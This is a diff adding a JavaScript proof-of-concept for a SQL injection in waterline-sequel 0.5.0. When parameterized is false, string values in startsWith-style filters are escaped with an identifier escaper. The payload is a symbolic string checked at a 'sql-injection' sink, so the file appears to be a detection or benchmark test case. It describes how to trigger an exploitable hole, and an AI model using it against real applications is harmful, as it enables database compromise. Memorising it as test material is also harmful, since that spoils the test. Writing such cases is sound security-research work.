|
| 1 | +/** |
| 2 | + * PoC: SQL Injection in waterline-sequel 0.5.0 |
| 3 | + * |
| 4 | + * Vulnerability: when parameterized: false, prepareCriterion() for |
| 5 | + * startsWith/contains/endsWith/like uses utils.escapeName() (meant |
| 6 | + * for SQL identifiers) to escape string values, allowing SQL injection. |
| 7 | + */ |
| 8 | + |
| 9 | +var Sequel = require('waterline-sequel'); |
| 10 | +var Symbolic = require('esl_symbolic'); |
| 11 | + |
| 12 | +// --- waterline-sequel setup --- |
| 13 | + |
| 14 | +var schema = { |
| 15 | + foo: { |
| 16 | + tableName: 'foo', |
| 17 | + attributes: { |
| 18 | + color: 'string', |
| 19 | + id: { type: 'integer', primaryKey: true, autoIncrement: true, unique: true } |
| 20 | + } |
| 21 | + } |
| 22 | +}; |
| 23 | + |
| 24 | +var options = { |
| 25 | + parameterized: false, |
| 26 | + caseSensitive: false, |
| 27 | + escapeCharacter: '`', |
| 28 | + casting: false, |
| 29 | + canReturnValues: false, |
| 30 | + escapeInserts: true |
| 31 | +}; |
| 32 | + |
| 33 | +var sequel = new Sequel(schema, options); |
| 34 | + |
| 35 | +// 1. Safe query (normal startsWith) |
| 36 | +console.log('[1] Safe query: color startsWith "red"'); |
| 37 | +var safeResult = sequel.find('foo', { |
| 38 | + where: { color: { startsWith: 'red' } }, |
| 39 | + instructions: {} |
| 40 | +}); |
| 41 | +console.log(' Generated SQL: ' + safeResult.query[0]); |
| 42 | + |
| 43 | +// 2. Vulnerable query: SQL injection via startsWith |
| 44 | +console.log('[2] VULNERABLE query: color startsWith malicious payload'); |
| 45 | +var payload = Symbolic.string('payload'); |
| 46 | +Symbolic.assume(payload !== ''); |
| 47 | +var vulnResult = sequel.find('foo', { |
| 48 | + where: { color: { startsWith: payload } }, |
| 49 | + instructions: {} |
| 50 | +}); |
| 51 | +console.log(' Generated SQL: ' + vulnResult.query[0]); |
| 52 | + |
| 53 | +Symbolic.sinkCall("sql-injection", "sequel.find", vulnResult.query[0]); |
0 commit comments